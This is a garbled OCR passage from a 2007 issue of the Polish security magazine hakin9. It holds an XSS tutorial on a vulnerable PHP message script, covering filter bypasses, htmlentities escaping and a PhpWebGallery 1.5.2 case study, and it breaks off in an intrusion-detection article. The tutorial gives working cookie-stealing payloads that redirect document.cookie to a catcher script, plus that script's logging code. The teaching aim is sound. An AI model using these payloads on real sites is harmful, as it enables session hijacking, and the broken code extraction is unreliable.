"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wprowadzić wiadomość

a href=

"example.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wprowadzić tytuł

a href=

"example.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

Rysunek 1.

Przeglądarka pokazująca alarm

hakin9 Nr 5/2007

www.hakin9.org

Atak

Tak wykonany kod będzie działał

niezależnie od zaimplementowanych
systemów obronnych strony, niwelu-
jąc sens enkrypcji strumieni i podob-
nych technik.

Analiza skryptu PHP

Przyczyna, dzięki której można
było tak łatwo przeprowadzić atak,
widoczna jest po przyjrzeniu się
skryptowi PHP.

echo '...'.$title.'<br

/>'.$text.'...';

nie robi nic więcej po-

za wyświetleniem przypisanych do
zmiennych treści, wysłanych przez
użytkownika.
Podobne mechanizmy są spotykane
w wielu aplikacjach webowych, np.:

• księgach gości,
• forach dyskusyjnych,
• prywatnych wiadomościach,
• blogach,
• encyklopediach Wiki

Różnica w stosunku do prawdziwych
aplikacji webowych polega na tym,
że przechowują one wprowadzany
tekst w bazach danych i wyświetlają
go na konkretne żądanie. Nie sądź-
my jednak, że tylko aplikacje webo-
we otrzymujące bezpośrednie dane
od użytkownika są podatne na za-
grożenie atakiem. Skrypty mogą być
także dołączane do niefiltrowanych
e-maili: wielu spośród poważnych
dostawców systemów webmail mia-
ło w przeciągu ostatnich lat kłopoty
z podatnościami na XSS.

Istotne treści

Przypatrzmy się jednej z najprost-
szych metod wykradania istotnych
treści. Często takie dane zawarte są

w ciasteczkach. Ciasteczka z kolei
są zazwyczaj używane do przecho-
wywania danych uwierzytelniających
użytkownika, identyfikatorów sesji
oraz zahashowanych zmiennych.
Inne dane także mogą być cenne dla
atakującego, chociażby ustawienia
preferencji czy daty logowania.

Skrypt PHP umieszcza ciastecz-

ko w Twoim komputerze. Spróbujmy
uzyskać do niego dostęp przy pomo-
cy JavaScriptu. Wróćmy do podatnego
skryptu PHP i tym razem wpiszmy w
pole textarea

cookie);</script>

Ujrzysz wiadomość podobną do

tej, jaką obrazuje Rysunek 2. Poja-
wi się okno alarmowe ze słowami

xss=Ta+treść+zostanie+zawarta-

+w+ciasteczku. W tym wypadku,

xss to nazwa ciasteczka, zaś Ta+tre-

ść+zostanie+zawarta+w+ciasteczku
to jego zawartość. Oczywiście, w ten
sposób można odczytać zawartość
wielu ciasteczek.

Możemy więc wyświetlić alarm

z treścią ciasteczka. To jednak nie jest
jeszcze niebezpieczne w przypadku
ataku, w najgorszym razie zdenerwuje
tylko użytkownika i spowoduje jego
podejrzenie, że coś nie jest w porząd-
ku. Jak zawartość ciasteczka może
zostać przekazana do atakującego?

Jak zwykle jest kilka sposobów

osiągnięcia celu. W tym artykule po-
każemy jedną z najbardziej podsta-
wowych możliwości. Przekierujemy

przeglądarkę użytkownika na inny
adres, podając zawartość ciasteczka
jako argument. W tym wypadku, dru-
ga witryna będzie najpewniej skryp-
tem, który zapisze przekazywaną
treść do bazy danych lub pliku.

Tak wygląda teoria, przejdźmy

teraz do praktyki. Ponownie skieruj
przeglądarkę do podatnego skryp-
tu PHP. Do pola textarea wpisz

Zobaczysz informację zbliżoną

do tej, jaka widoczna jest na Rysun-
ku 3. Przeglądarka przekierowała się
na witrynę evilsite.com i przekazała
informacje z ciasteczka. W przypad-
ku rzeczywistego ataku, treść zosta-
łaby właśnie wykradziona.

Proste filtrowanie

Jak udowodniliśmy, dynamicznie
tworzone strony są podatne na ataki
XSS, gdy wyświetlają treść podaną
przez użytkownika bez filtrowania.
Jak więc zabezpieczyć się przed tego
typu atakiem? W tej części artykułu
przyjrzymy się podstawowym tech-
nikom filtrowania i omówimy, w jaki
sposób mogą one być ominięte.

Listing 3. zawiera ten sam skrypt

PHP, co Listing 1, implementuje jednak
dodatkową funkcję

filter()

. Funkcja ta

przeszukuje łańcuch podany jako jej
argument, usuwając tagi

</script>

. Skrypt stosuje funkcję

Rysunek 3.

Przeglądarka po przekierowaniu na inną stronę

Rysunek 2.

Przeglądarka wyświetlająca dane z ciasteczka

Listing 2.

Kod HTML po ataku

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

Temat

script

alert("podatność");

/script

/body

/html

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

filter()

w odniesieniu do obydwu

zmiennych, które przechowują dane
wprowadzone przez użytkownika.

Jeśli zatem wytniemy tagi, nie

będziemy mogli zastosować wcze-
śniej zaprezentowanego kodu. Mimo
wszystko, taki sposób filtrowania nie
jest bezpieczny. Istnieje co najmniej
kilka sposobów ominięcia opisanego
mechanizmu filtrującego. Przyjrzyj-
my się im poniżej.

Omijanie

podstawowego

filtrowania

Ponieważ nie możemy umieścić na-
szego kodu w tagach

, będzie-

my musieli wkleić go w inne miejsce.

Odnośniki stają się w tym mo-

mencie przydatnym narzędziem,
mogą bowiem zawierać kod Java-
Script, umożliwiając webmasterom
tworzenie bardziej dynamicznych
stron. Dla przykładu, mogą one
posłużyć do otwierania niewielkich
okien, zawierających dokładniejszy
opis produktu, lub przeprowadzać
bardziej kompleksowe akcje przy
użyciu frameworka JavaScript.

Skieruj przeglądarkę do poprawio-

nego skryptu PHP. Możesz ustalić, że,
w istocie, po zastosowaniu filtrowania,
nie działa opisana przez nas wcze-
śniej metoda. Wpiszmy do pola texta-
rea link. Zamiast podawać adres URL,
wpiszemy identyfikator

javascript

zaś za nim – nasz kod. Kompletny
link powinien wyglądać na przykład
tak:

<a href="javascript:alert('wciąż

podatny');">Kliknij Mnie!</a>.

Po najechaniu kursorem na link,

w pasku statusu przeglądarki pojawić
się powinna treść podobna do tej, ja-
ką obrazuje Rysunek 4. Kliknięcie
na odnośnik spowoduje wykonanie
kodu JavaScript, co zaowocuje wy-
świetleniem alarmu wciąż podatny.
Oczywiście, metody wcześniej użyte
do wykradania zawartości ciastek są
w tym wypadku także funkcjonalne.

Na pierwszy rzut oka wydaje się, że

użytkownik nie kliknie na taki odnośnik.

W końcu będzie on widział kod Java-
Script w pasku statusu przeglądarki, co
powinno wzbudzić jego podejrzenia.

Z drugiej strony, należy jednak

pamiętać o tym, że większość In-
ternautów nie zna JavaScriptu, nie
wie więc, co stanie się po kliknięciu
odnośnika. W praktyce, wielu użyt-
kowników sieci nie jest nawet obe-
znanych z koncepcją linkowania.

Dodatkowo, ludzie rzadko spraw-

dzają, dokąd link ich zaprowadzi.

Wszyscy ufamy, że otrzymamy treść
zgodną z opisem odnośnika. Tak
więc istnieje realna szansa, że link
opisujący dokładniejsze informacje,
czy informujący o tanich zegarkach,
zostanie kliknięty.

Nawet jeśli użytkownik nie naci-

śnie przycisku, wciąż możemy wy-
konać kod. Posłuży nam do tego
efekt onmouseover. Efekty tego ro-
dzaju są zaimplementowane w celu
tworzenia interaktywnych witryn.

Listing 3.

Skrypt PHP z podstawowym filtrowaniem

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

function

filter

(

$input

){

$input

ereg_replace

(

script

", "",

$input

);

$input

= ereg_replace("

/script

", "

$input

)

;

return

$input

;

}

$text

= filter

(

$text

)

;

$title

= filter

(

$title

)

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"simple.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wpisać wiadomość

a href=

"simple.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wpisać tytuł

a href=

"simple.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowa wiadomość

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

Rysunek 4.

Pasek statusu prze-

glądarki pokazujący kod JavaScript

hakin9 Nr 5/2007

www.hakin9.org

Atak

Przykładowo, jeśli najedziemy kur-
sorem na menu, może zmieniać się
jego wygląd w zależności od pozycji,
nad którą jest kursor. Do zmiany wy-
glądu służy właśnie efekt onmouse-
over: w przypadku najechania kurso-
rem, podmieniane są grafiki. Zaim-
plementujmy więc opisany atak. Do
poprawionego skryptu wpiszmy:

<a onmouseover="javascript:alert
('podatność bez klikania')">
Przesuń tu kursor!</a>.

Teraz najedź kursorem na tekst.
Przeglądarka wykona kod, wyświe-
tlając alarm podatność bez klikania.

Ponieważ ten tekst nie wygląda

inaczej niż reszta odnośników, użyt-
kownikowi trudno będzie go odróżnić
– jest całkiem realna szansa, że na-
jedzie na niego kursorem.

Można zastosować kilka trików,

by być pewniejszym efektu, np. załą-
czyć więcej tekstu lub grafiki.

W zależności od wyglądu i ukła-

du witryny, powinno to dać ogromne
szanse na wykonanie Twojego kodu.

Zaawansowane

filtrowanie

Pokazaliśmy, jak można wkleić do wi-
tryny szkodliwy kod i jak ominąć pod-
stawowe filtrowanie. Przyjrzyjmy się
teraz bezpieczniejszemu sposobo-
wi ochrony przeciwko XSS. Obronić
można się przed tego typu atakiem na
dwa podstawowe sposoby: możemy
eskejpować wszystkie specjalne zna-
ki lub użyć wyrażeń regularnych do
usunięcia niebezpiecznych znaczni-
ków. Oba sposoby mają swoje wady i
zalety, które przedstawimy w dalszych
akapitach tego tekstu.

Listing 4. zawiera finalną wersję

naszego skryptu PHP. Tym razem uży-
wamy funkcji

htmlentities()

do eskej-

powania treści wprowadzonych przez
użytkownika, zamieniając wszystkie
specjalne znaki na ich odpowiedniki
w HTML. Sekwencje eskejpujące są
używane w celu zamienienia znaków
specjalnych na kilka określonych zna-
ków standardowych, niwelując proble-
my z różnymi kodowaniami.

Dla przykładu, niemiecka litera Ä

jest reprezentowana przez sekwen-

cję

. Dzięki temu, odpowiedni

znak zostanie wyświetlony nieza-
leżnie od tego, jakiego kodowania
używa Twoja przeglądarka. Możemy
jednak użyć tego systemu także do
naszych celów, bowiem eskejpowa-
ne znaki tylko wyglądają jak znaki,
które reprezentują, nie posiadają
jednak ich funkcjonalności.

Przeanalizujmy to zagadnienie w

oparciu o odpowiedni przykład. Ciągi

znaków

oraz

<script&gt

;

wyglądają po przeanalizowaniu do-
kładnie tak samo, jednak przeglądarka
inaczej potraktuje ciąg

(jako

znacznik), zaś inaczej

<script&gt

;

(jak normalny ciąg znaków).

Mając to na uwadze, łatwo od-

kryjemy, że jest to skuteczna obro-
na przeciwko atakom XSS – cokol-
wiek wpisze użytkownik, zostanie
to potraktowane jak normalny ciąg

Metody załączania kodu

Załączanie czystego kodu do podatnej na atak witryny to jedna z wielu możliwości.
Jak opisano w artykule, kod może być załączony także wewnątrz linków i przy użyciu
efektów onmouseover. Przyjrzyjmy się innym potencjalnym miejscom i technikom
załączania kodu. Niektóre z nich są zależne od przeglądarki, nie muszą więc działać
w przypadku Twojej konfiguracji.

Dzięki załączaniu skryptów umieszczonych w zewnętrznych plikach możemy ominąć
zabezpieczenie określające maksymalne rozmiary. Kod nie będzie też bezpośrednio
widoczny w kodzie HTML, przez co będzie trudniejszy do wykrycia. W niektórych przy-
padkach może być zaimplementowany mechanizm blokujący załączanie kodu z innych
witryn. Należy jednak pamiętać, że rozszerzeniem nie musi wcale być .js.

Jeśli do witryny możemy załączyć grafiki, często udaje się oszukać aplikację,

uploadując plik harmless.jpg, lecz jako odnośnik do grafiki podając kod. Ponieważ
serwer będzie przechowywał plik, odnośnik będzie traktowany najczęściej jako obiekt
bezpieczny. Jeśli możemy podać adres odnośnika do grafiki, możemy wkleić kod
w następujący sposób:

W przypadku, gdy filtrowane są apostrofy, możemy użyć ich ekwiwalentów w postaci
ustalonych ciągów znakowych (HTML entities):

<a href="javascript:alert("XSS")">Kliknij!</a>

Poniższa konstrukcja pozwala na wykonanie kodu po załadowaniu witryny (onload).
Może być ona wykorzystana, jeśli użytkownik ma wpływ na wygląd całej witryny, włącz-
nie z atakiem

<body>.

Przeglądarki oparte o silnik Gecko często wykonują kod, który jest umiejscowiony przed
nowootwartym tagiem. Spowodowane jest to tym, że zamykają one automatycznie nie-
zamknięte tagi. W poniższym przypadku, link zostanie przypisany do znaku <, co może
być szczególnie przydatne, jeśli operujemy wewnątrz znacznika.

<a href="javascript:alert('podatność'); <

W przypadku otwierania podstrony w znaczniku iframe, wykonywany jest kod załą-
czanej strony. W takiej sytuacji strona evilscript.html mogłaby zawierać szkodliwy kod
atakującego.

Naturalnie, kod JavaScript może być także przypisany bezpośrednio do znacznika iframe.

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

znaków. Nie będziemy mogli wyko-
nać kodu – efekt będzie przypominał
to, co uwidacznia Rysunek 5.

Druga koncepcja jest o wiele prost-

sza do wyjaśnienia. Zamiast zamieniać
niebezpieczne treści przez eskejpowa-
nie, po prostu je wycinamy. Takimi tre-
ściami mogą być znaczniki

lub

kod JavaScript wewnątrz odnośników
itp. Istotne jest zbudowanie sprawnej
i kompletnej bazy wyrażeń regularnych
opisujących niebezpieczne treści, by
móc je potem usunąć, to jednak zagad-

nienie na osobny artykuł. Jeśli chcesz
zgłębić wiedzę na ów temat, polecamy
przejrzenie linków z ramki W Sieci.

Wady obydwu metod

Jak widzimy, istnieją dwie koncepcje
ochrony przed atakami XSS. Przyj-
rzymy się, jakie są ich słabe strony.

Eskejpowanie wszystkich spe-

cjalnych znaków jest najprostszą
i najbezpieczniejszą metodą ochrony
przed atakami XSS. Z drugiej strony,
postepując w ten sposób, zabloku-

jemy możliwość użycia wszystkich
znaków specjalnych i znaczników.
Spowoduje to, że użytkownik nie
będzie mógł używać żadnych tagów
HTML w swojej treści. Jeśli chcemy
pozostawić możliwość użycia niektó-
rych tagów użytkownikowi, musimy
zaimplementować osobny interfejs
do tworzenia np. odnośników.

Wycinanie treści przy użyciu wy-

rażeń regularnych nie wiąże się już
z powyższym mankamentem, ponie-
waż nie usuwa niczego więcej po-
za określonymi treściami. Powsta-
je jednak przy tym zasadniczy pro-
blem: nowe sposoby ataków i miejsca
do wklejenia kodu są odkrywane do-
syć często, czasami zmienia się tak-
że struktura samego języka HTML.
By zachować bezpieczeństwo, musi-
my utrzymywać aktualne wersje wy-
rażeń regularnych. Z tego powodu,
drugi sposób obrony chroni jedynie
przed już znanymi sposobami ataku
– nasz kod będzie podatny na nowo-
odkryte luki.

Rzeczywistość

Pokazaliśmy czym jest XSS i jak
może być przeprowadzony i unie-
możliwiony. Dla celów edukacyj-
nych używaliśmy załączonych przy-
kładowych skryptów. Przyjrzymy się
teraz określonym aplikacjom i możli-
wościom ataków w rzeczywistości.

4 lipca 2006 roku ludzie z Moroc-

can Security Research Team wysła-
li e-mail na listę mailingową BUG-
TRAQ. Zawierał on oświadczenie,
w którym informowali oni o tym, że
znaleźli podatność na atak XSS w
systemach PhpWebGallery w wersji
1.5.2 i poprzednich.

Problem leży w pliku com-

ments.php, który oferuje wyświetla-
nie i filtrowanie komentarzy użytkow-
ników, treść wprowadzana w miejsce
słowa kluczowego nie jest jednak po-
prawnie sprawdzana. Spróbujmy użyć
tej podatności, by wykraść ciastko
użytkownika.

Podatną wersję 1.5.2 można zna-

leźć na dołączonym do pisma CD. Wy-
starczy uruchomić livecd i skierować
Firefoxa pod adres http://localhost/

phpwebgallery/comments.php. Mimo
że wysłany e-mail zawierał kod będą-

Listing 4.

Skrypt PHP zabezpieczony eskejpowaniem znaków

php

setcookie

(

"xss"

"Ta treść zostanie zawarta w ciasteczku"

)

;

$text

$_GET

[

'text'

]

;

$title

$_GET

[

'title'

]

;

function

escaping

(

$input

){

$input

= htmlentities

(

$input

)

;

return

$input

;

}

$title

= escaping

(

$title

)

;

$text

= escaping

(

$text

)

;

(

$text

&& !

$title

){

echo

html

head

title

XSS-Test | Wpisz wiadomość

/title

/head

body

form action=

"advanced.php"

input type=

"text"

name=

"title"

value=

"Temat"

textarea name=

"text"

rows=

"16"

cols=

"100"

Treść...

/textarea

input type=

"submit"

name=

"send"

value=

"Wyślij wiadomość"

/form

/body

/html

}
if (!$text && $title){
echo '

Musisz wpisać wiadomość

a href=

"advanced.php"

Wróć

}

if (!$title && $text){
echo '

Musisz wpisać tytuł

a href=

"advanced.php"

Wróć

}
if ($text && $title) {
echo '

html

head

title

XSS-Test | Nowe wiadomości

/title

/head

body

Twoje nowe wiadomości:

/h3

'.$title.'

'.$text.'

/body

/html

}
?>

hakin9 Nr 5/2007

www.hakin9.org

Atak

cy exploitem, użyjemy tutaj własnego
kodu do przeprowadzenia ataku.

Wiemy, że podatna na atak jest

zmienna związana ze słowami klu-
czowymi, sprawdźmy więc, jak jest
ona wklejana do kodu HTML. By to
zrobić, wpiszemy do tego pola jakiś
ciąg znaków, a następnie wyszuka-
my go w otrzymanym kodzie HTML.
W tym wypadku, użyłem ciągu

XSScodegoeshere.

Po wysłaniu formu-

larza, znajdziemy ten ciąg znaków
między kodem:

<label>Keyword<input type="text"
name="keyword"
value="XSScodegoeshere" />
</label>

Jak widzimy, treść, jaką wpiszemy
w polu, jest następnie przypisywana
do parametru value pola input oraz
otaczana cudzysłowami. Z tego też
powodu, pierwsze, z czym się upo-
ramy, to wyjście poza cudzysłowy i
nawiasy znacznikowe. Na szczęście
dla nas, witryna nie filtruje ciągu “>”,
więc możemy go użyć.

Spójrzmy, jak będzie wyglądał

kod HTML po umieszczeniu powyż-
szych znaków przed naszym ciągiem
znaków:

<label>Keyword<input type="text"
name="keyword"
value="\">XSScodegoeshere" />
</label>

Jak widać, nasz ciąg jest teraz po-
za cudzysłowami i znacznikiem.
Dzięki temu, przeglądarka potrak-
tuje go jako część witryny, któ-
rą może zinterpretować. Ponieważ
chcemy wykraść ciastko, będziemy
musieli się najpierw zalogować, by
takie ciastko otrzymać. Przechodzi-
my więc pod adres http://localhost/

phpwebgallery/ i logujemy się przy
użyciu nazwy admin oraz hasła

hakin9. Następnie wracamy na
stronę z komentarzami.

Mamy już wszystko, co potrzeb-

ne jest do przeprowadzenia ataku.

Wiemy, że pole ze słowami kluczo-
wymi jest podatne na atak, możemy
opuścić cudzysłowy i znaczniki, ma-
my także ciastko na twardym dysku.

Zanim przystąpimy do wykra-

dania ciastka użytkownika przez

Rysunek 6.

PHPWebGallery alarmujące treścią ciasteczka użytkownika

Rysunek 5.

Nieskuteczny atak XSS dzięki wykorzystaniu eskejpowania

Tabela 1.

Najczęściej stosowane sekwencje eskejpujące w HTML

Znak

Sekwencja eskejpująca

“

" "

& &

< <

> >

[

]

{

}

Listing 5.

Skrypt PHP

zapisujący przekazany

argument do pliku

php

$file

fopen

(

"pwsave.txt"

"w"

)

;

fwrite

(

$file

$_GET

[

])

;

fclose

(

$file

)

;

Wstrzykiwanie kodu

hakin9 Nr 5/2007

www.hakin9.org

przekierowanie go do szkodliwej
strony, sprawdźmy, czy nasz kod
zadziała w przypadku alarmu. Uży-
jemy ciągu:

"><script>alert(document.cookie)
</script>

Ujrzysz obraz podobny do tego,
jaki widać na Rysunku 6. – cia-
steczko najwyraźniej przechowu-
je identyfikator sesji użytkownika.
Sfinalizujmy atak: przekierujemy
użytkownika do witryny, która za-
pisze treść przekazanego jej para-
metru do pliku.

Taki skrypt znajduje się także na

hakin9-livecd, znajdziesz go pod na-
zwą catcher.php. Do przekierowania
użyjemy funkcji document.location,
dołączając treść ciasteczka.

“><script>document.location =
“http://localhost/catcher.php?pw=”
+document.cookie</script>

Po wysłaniu takiej treści w formula-
rzu, Firefox przekieruje nas do skryp-
tu, który zapisze treść ciasteczka do
pliku pwsave.txt, skąd będziemy
mogli ją odczytać.

Zauważyłeś zapewne, że chociaż

atak działa idealnie, ma pewien nielo-
giczny punkt. Dlaczego bowiem użyt-
kownik miałby samemu wpisywać taki
ciąg znaków do formularza? Oczywi-
ście, zapewne by tego nie zrobił.

Na nasze szczęście, dostęp do

zmiennej keyword możemy także
otrzymać przez URL. Preparując od-
powiednio adres, możemy w nim za-
wrzeć szkodliwy kod. Następnie wy-
starczy, by użytkownik kliknął na taki

odnośnik, co powinno być proste do
osiągnięcia przy pewnej wiedzy so-
cjotechnicznej. By przekazać spe-
cjalne znaki w adresie URL, musimy
je eskejpować. Nie należy się jednak
obawiać – nie wpłynie to na ich inter-
pretację, bowiem serwer przywróci je
do stanu znaków specjalnych przed
wygenerowaniem dynamicznej stro-
ny. Nasz końcowy ciąg, służący do
ataku, ma następującą postać: http://

localhost/phpwebgallery/comments

.php?keyword=%22%3E%3Cscript

%3Edocument.location=%22 http://

localhost/catcher.php?pw=%22+do-

cument.cookie%3C/script%3E.

Jeśli zmusimy użytkownika do

odwiedzenia tej strony, nasz skrypt
wykradnie jego ciasteczko. Gratu-
lujemy!

Podsumowanie

Jak pokazaliśmy, XSS można
przeprowadzić na wiele różnych
sposobów. Na niezabezpieczonej
witrynie daje on ogromne możliwo-
ści wykradania informacji i wprowa-
dzania w błąd. Mimo wszystko, nie-
którzy wciąż uważają XSS za za-
bawkę dla młodocianych hakerów,
która w najgorszym wypadku wy-
świetli nam denerwujące okienko.
My jednak już wiemy, że sytuacja
jest dużo poważniejsza.

Każdy webmaster powinien pod-

jąć stosowne kroki w celu zabez-
pieczenia swoich aplikacji przed te-
go typu atakami. Jakim sposobem
chronić nasze formularze? To już
kwestia gustu, pozostającego do
dyspozycji czasu, ale także funkcjo-
nalności aplikacji. Z tego też powodu
trudno jest przedstawić uniwersalne
rozwiązanie tego problemu – jak to
zazwyczaj bywa w przypadku bez-
pieczeństwa, własne rozwiązanie
jest niezbędne. Niewątpliwie poja-
wią się nowe sposoby przeprowa-
dzania ataków, powodując ponowne
narażenie naszych witryn – tak, jak
w przypadku przepełnień buforu.

W momencie, gdy wydawało

się, że wszystkie luki są możliwe do
zabezpieczenia, ktoś odkrywał nowe
podatności i łamał kod. Jeśli zatem
chcemy być bezpieczni, musimy stale
czuwać nad naszymi aplikacjami. l

W Sieci

• http://hackers.org/xss.html – Ściąga XSS,
• http://webmonkey.wired.com/webmonkey/reference/special_characters/ – lista

sekwencji eskejpujących,

• http://pixel-apes.com/safehtml/?page=safehtml SafeHTML – wstęp do filtrowania

przy użyciu wyrażeń regularnych

O autorze

Autor to obecnie uczeń ostatniej klasy w niemieckiej szkole średniej. Zaczął intere-
sować się tematyką bezpieczeństwa komputerowego na własną rękę, mając na celu
przeniesienie się do Japonii.
Kontakt z autorem: psz@observed.de

Możliwości ataku

Ten artykuł demonstruje technikę wykorzystania podatności na XSS, posłużyliśmy się
więc tylko jednym przykładem ataku. XSS pozwala jednak na przeprowadzenie dużo
groźniejszych ataków niż tylko wykradnięcie treści ciasteczek.

• Dezinformowanie – Funkcja

document.write()

pozwala na umieszczanie wielu

fałszywych informacji. Wyobraźmy sobie istotną stronę z aktualnościami, podatną
na atak XSS. Atakujący mógłby na przykład stworzyć wiadomość o ataku nuklear-
nym i rozprowadzić adres przez e-maile oraz fora dyskusyjne. Wiadomość zyska na
wiarygodności dzięki renomie witryny, przez co wiele osób w nią uwierzy.

• Zmylanie – Podobnie jak w powyższym przypadku, użytkownik może zostać wpro-

wadzony w błąd przy użyciu przekierowania lub podmiany treści.

• Śledzenie użytkowników – Pomysłowy atakujący może pozyskać informacje na

temat stopnia odwiedzalności i klikalności poszczególnych elementów serwisu.
Mechanizm ten jest powszechnie używany do generowania statystyk.

• Obciążanie łącz – Przyjmijmy za przykład większą stronę z aktualnościami, mają-

cą kilka tysięcy wizyt dziennie. Jeśli atakujący wklei kod, ładujący największy plik
z serwera, wygeneruje tym samym ogromne obciążenie, które może spowodować
efekt DOS.

www.hakin9.org

hakin9 Nr 5/2007

Obrona

ygnatury są reprezentowane przez se-
rię bajtów, zdefiniowanych jako niebez-
pieczne. Przykładowo, baza sygnatur

może zawierać określony charakterystyczny
fragment danych, zawarty w ładunku eksplo-
ita wykorzystującego przepełnienie bufora w
zdalnej usłudze. Gdy intruz spróbuje użyć ta-
kiego eksploita, system IDS wygeneruje alarm,
ponieważ wykryje w przesyłanych przez sieć
danych ciąg znaków identyczny z niebezpiecz-
ną sygnaturą, jaką posiada w swojej bazie.

U początków istnienia systemów IDS podej-

ście takie zapowiadało się obiecująco. Spraw-
dzanie wzorców danych wykonywane było bar-
dzo szybko, a na pojawiające się nowe wirusy
sieciowe odpowiedzią było umieszczenie ich sy-
gnatur w bazie. Stosowanie tego typu systemów
IDS wywołało wzrost zaawansowania technolo-
gii wirusów oraz eksploitów. Zaczęto je projekto-
wać tak, aby nie zawierały w swoim ciele stałych
sygnatur. Zastosowanie polimorfizmu oraz szy-
frowania w kodzie złośliwego oprogramowania
spowodowało znaczące utrudnienie w jego iden-
tyfikacji. Użycie silnika bazującego na porówny-
waniu sygnatur stało się nieefektywne. Dla każ-
dej mutacji wirusa, w bazie systemu IDS musiał
istnieć wzorzec pozwalający na jego identyfika-

cję. Baza sygnatur rosła w szybkim tempie, co
powodowało spadek wydajności całego układu.

Dodatkowym ograniczeniem jest tu fakt,

że żaden nowy atak nie może zostać wykry-
ty przez IDS do momentu, w którym w bazie
danych nie znajdzie się jego sygnatura.

Systemy ekspertowe

Terminem system ekspertowy określa się pro-
gram komputerowy, który potrafi wyciągać

Adaptacyjne techniki

– wykrywanie intruzów

Michał Styś

stopień trudności

W przypadku klasycznego systemu wykrywania intruzów

(IDS), najczęściej wykorzystywana jest metodologia śledzenia

nadzorowanego elementu (mogą być to dane wysyłane przez

Sieć, polecenia wydawane przez użytkownika z poziomu powłoki

systemowej itp.) i porównywanie danych z bazą sygnatur.

Z artykułu dowiesz się

• co to jest system wykrywania ano-

malii i jak wykorzystać go do zwięk-
szenia bezpieczeństwa systemu
komputerowego,

• jak skonfigurować samouczący się

system wykrywania anomalii,

• jakie jest znaczenie systemów eks-

pertowych.

Powinieneś wiedzieć

• powinieneś rozumieć na jakiej za-

sadzie działa system IDS.

Adaptacyjne techniki wykrywania intruzów

hakin9 Nr 5/2007

www.hakin9.org

wnioski i podejmować decyzje na pod-
stawie specjalistycznej wiedzy. Wie-
dza systemu ekspertowego gromadzo-
na jest w bazie danych i reprezentowa-
na za pośrednictwem reguł, które mo-
gą być przetwarzane przez komputer.
Systemy tego typu wykorzystywane
są do wspomagania decyzji człowieka,
a w niektórych wariantach do całkowi-
tego zastąpienia ludzkiego eksperta z
dane j dziedziny wiedzy. Ogólny sche-
mat budowy systemu ekspertowego
przedstawiony został na Rysunku 1.
Jego najważniejsze elementy to:

• baza wiedzy – zawiera wiedzę

eksperta danej dziedziny repre-
zentowaną najczęściej w posta-
ci zbioru reguł,

• baza danych surowych – prze-

chowuje dane, na podstawie któ-
rych możliwe jest wnioskowanie

• edytor bazy wiedzy – umożliwia

rozbudowywanie systemu w pro-
cesie dodawania i modyfikacji
wiedzy eksperta,

• procedury wnioskowania – za-

wierają algorytmy procesów do-
chodzenia do rozwiązania pro-
blemu przez system,

• procedury objaśniania – pozwa-

lają na wyjaśnienie rozwiązania
oraz sposobu, w jaki zostało ono
osiągnięte,

• interfejs użytkownika – umożliwia

interakcję człowieka z systemem.
Dostarcza mechanizmów pozwa-
lających na edycję bazy wiedzy,
zlecanie zadań oraz wizualizację
wyników generowanych przez
system ekspertowy.

Umiejętność podejmowania decyzji
na podstawie posiadanej wiedzy jest
cechą człowieka. System ekspertowy
jest analogią takiego wnioskowania.
Z tego powodu do jego zaprogramo-
wania potrzebne są dwie osoby: eks-
pert posiadający odpowiednie kompe-
tencje oraz wiedzę, aby móc rozwiązy-
wać problemy danej dziedziny oraz in-
żynier wiedzy. Postać inżyniera wiedzy
ma szczególne znaczenie, ponieważ
zajmuje się on głównie strukturalizacją
wiedzy eksperta, czyli reprezentowa-
niu jej w sposób nadający się do prze-
twarzania przez komputer. Zadanie to,
mimo że wydaje się koncepcyjnie pro-
ste do zrealizowania, w rzeczywisto-
ści jest bardzo żmudnym i skompli-
kowanym procesem. Wiedza eksper-
ta jest zwykle intuicyjno-praktyczna,
co powoduje trudności w reprezento-
waniu jej w postaci ścisłych reguł.

System ekspertowy w niektórych

przypadkach może sam wzbogacać
swoją bazę wiedzy. Mechanizm sa-
mouczenia się może funkcjonować
tam, gdzie na wyniki wnioskowania
wpływ mają wcześniejsze doświad-
czenia związane z rozwiązywaniem
problemów. Wnioski stanowią jedno-
cześnie uzupełnienie bazy wiedzy o
kolejne doświadczenia.

Systemy

wykrywania anomalii

Technika wykrywania anomalii skupia
się na analizie zachowania nadzoro-
wanego elementu (ruchu sieciowego,
poszczególnych usług systemu opera-
cyjnego itd.) i porównywania przepły-
wających przez te elementy danych z
modelem opisującym ich akceptowal-
ne formy. Zbiór form określonych ja-
ko akceptowalne specyfikowany mo-
że być na przykład przez administra-
tora. Dynamika takiego układu polega
na możliwości uczenia się, a co za tym
idzie dostosowywania do nowych wa-
runków i reakcji na nowe, niespotykane
wcześniej sytuacje. W tym rozwiąza-
niu IDS, napotykając pakiet posiada-
jący cechy anormalności, generuje do
administratora stosowny komunikat.
Administrator po własnej analizie ma
możliwość oceny czy alarm był uza-
sadniony czy też fałszywy. W ten spo-
sób aktualizowana jest baza wiedzy

systemu. Taki paradygmat budowania
bazy wiedzy stosowany jest w coraz
popularniejszych programach określa-
nych jako systemy ekspertowe.

Naturalnie, z uwagi na bardzo du-

żą ilość elementów, jakimi charaktery-
zują się monitorowane zdarzenia, ko-
nieczne jest wyselekcjonowanie ich
najważniejszych cech, które podlegać
będą analizie pod kątem występo-
wania nieprawidłowości. Przykładem
przewagi systemu wykrywania ano-
